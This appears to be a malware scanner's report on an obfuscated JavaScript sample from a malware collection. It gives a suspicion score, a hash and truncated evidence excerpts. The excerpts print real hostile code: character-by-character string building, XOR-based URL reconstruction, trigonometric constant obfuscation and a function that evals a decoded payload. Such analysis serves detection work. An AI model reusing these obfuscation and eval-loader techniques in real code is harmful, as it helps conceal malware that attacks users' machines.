Suspicious ^80% javascript-malware-collection Download

20151216_43f90a1847bed7a9701db5d67863500e.js

obfuscated eval C2 reconstruction

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-256e064876476784b6b00a68eb709770e1e2d87ef3989e5cc4544b4e537c4f4d6c7

Evidence

Builds characters with String.fromCharCode line 2

2:154… '^','E','f','O','!','G','/','5','u','-','#','!','>','7','i','!',String.fromCharCode(10),'z','A','U','7','h','d','+',')','(',')','[','y','7','3','+',String.fromCharCode(13),'(','<','9','O','>','X','u','A',' ','W' …

XOR URL reconstruction call line 2

2:774… 'J','-','W','@','%','%','A','{',']','r','&','O','y','"','=','(',String.fromCharCode(39),'S','8','Q','-','U','(','[','^','f','I','k',')','E','z','*','`','A','K','L','?','+','P','S',',','V','"','8','-','L','5','U','0','R','.','?','S','(','_','N','/ …

Calls JavaScript toString conversion method lines 4–10

4:44… biknDw){NbtM=gNieGJhvJLXYnMYgb(qKehdmpBJrn,zSpBvNKTZgjNI);gANsz=NbtM.toString(JFbiknDw);return gANsz;}
5function oJbHNxpqDubILZE(dPZJaGhWXFPpgDbLW,mYpYFaawmXnmwJRXfCxeOoVLzznaAqqKKz,GlIwLLPLzEGhObQGqvFjUXjfGqJSlnfYirA){eval(dPZJaGhWXFPpgDbLW);}
6function copXazhRFoQbmoITvzOfitsxTnvxeGfhxBwbYxtVdJSFjHgWPGcsWD(hzDYvxfgRIXES,NGmhaAOUEbbkGa){ return ASJjTXf[LPTRWZEF[cfXRM(hzDYvxfgRIXES[NGmhaAOUEbbkGa],(20303+165)/731,(5784+376)/616)]];}
7function PMtFpJt(aoyZvCUiCndnWIsJXZnyPetpPraqknCSqfpa) {return !xGmyDvdwWhV(KPulKYbjJcMMFYs(aoyZvCUiCndnWIsJXZnyPetpPraqknCSqfpa)) && EBblxjwDvttQ(aoyZvCUiCndnWIsJXZnyPetpPraqknCSqfpa);}
8function xGmyDvdwWhV(ZmrbFOPDlmNjTC) {return isNaN(ZmrbFOPDlmNjTC);}
9function EBblxjwDvttQ(hpysuwHDHetKi) {return isFinite(hpysuwHDHetKi);}
10function gNieGJhvJLXYnMYgb(tPcwPJtMgH,BdSAtwCltB) {re …

Dense indexed short-token grid lines 12–13

12:33… YUyBVuA,xEAhUOJoJuT) {DBpPtkuNmRYtFK[SfWhJFYUyBVuA]=xEAhUOJoJuT;}
13var w = new Array();w[0]=[];w[0][0]='d';w[0][1]='a';w[0][2]='d';w[0][3]='a';w[0][4]='46';w[0][5]='3d';w[0][6]='42';w[0][7]='14';w[0][8]='4a';w[0][9]='14';w[0][10]='25';w[0][11]='14';w[0][12]='16';w[0][13]='47';w[0][14]='3k';w[0][15]='3d';w[0][16]='44';w[0][17]='3g';w[0][18]='3l';w[0][19]='3g';w[0][20]='49';w[0][21]='3 …

Numeric sine-square obfuscation expression lines 19–22

19:30… ],w[4],w[5]];
20var QcQoMNhbo=[];
21function JNAFgFodsfoAgUOXz(IBDZE){QOyMrXrNDOQ= '';NAnyhUfeuxm=Math.round((Math.pow(Math.sin(422), 2) + Math.pow(Math.cos(422), 2) - 1));while(true){if (NAnyhUfeuxm >= (2302+290)/432){break;}QcQoMNhbo[NAnyhUfeuxm]=Math.round((Math.pow(Math.sin(292), 2) + Math.pow(Math.cos(292), 2) - 1)); while(true) { if(QcQoMNhbo[NAnyhUfeuxm] > IBDZE[NAnyhUfeuxm].length-(269+318)/587) { break; } if (PMtFpJt(cfXRM(IBDZE[NAnyhUfeuxm][QcQoMNhbo[NAnyhUfeuxm]],(2550+586)/112,(1701+969)/267))) {QOyMrXrNDOQ += copXazhRFoQbmoITvzOfitsxTnvxeGfhxBwbYxtVdJSFjHgWPGcsWD([IBDZE[NAnyhUfeuxm][QcQoMNhbo[NAnyhUfeuxm]]], Math.round((Math.pow(Math.sin(155), 2) + Math.pow(Math.cos(155), 2) - 1)));} QcQoMNhbo[NAnyhUfeuxm]++;}NAnyhUfeuxm++;} return QOyMrXrNDOQ}
22var FWeVWsPFhhPxnkNyLjJaDyYjpVPuBtNoR = 'HtnxMHXDwYJLVLqbDQiRGQzbJsnItlrAnLwp';var vngdylMOnvalXzVQWtkyqkjcDoVyjzSr = 'cmrCVYgxXjSyUybXlMWuBzfljUCxWBnknVeC';oJbHNxpqDubILZE(JNAFgFodsfoAgUOXz(IBDZE),FWeVWsPFhhPxnkNyLjJaDyYjpVPuBtNoR,vngdylMOnvalXzVQWtkyqkjcDoVyjzSr);